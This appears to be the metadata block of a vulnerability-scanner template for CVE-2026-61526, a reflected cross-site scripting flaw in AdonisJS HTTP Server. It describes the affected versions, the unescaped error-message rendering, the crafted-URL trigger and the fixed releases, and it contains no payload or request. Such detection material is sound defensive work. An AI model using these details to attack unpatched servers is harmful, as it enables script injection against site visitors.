id: CVE-2026-61526

info:
  name: "AdonisJS - Reflected Cross-Site Scripting"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    AdonisJS HTTP Server versions 8.0.0-next.0 through 8.2.0 and 9.0.0 through 9.0.2 are vulnerable to reflected
    Cross-Site Scripting. When debug mode is disabled and no custom status page or JSON response handles the error,
    the default HTML exception renderer interpolates error.message directly into the response body
    (`<p> ${error.message} </p>`) without HTML escaping. For a missing route the message is `Cannot GET:<path>`,
    so a crafted request URL places attacker-controlled markup into a text/html response, executing arbitrary
    JavaScript when a victim opens the link. Fixed in versions 8.2.1 and 9.1.0 by escaping error.message.
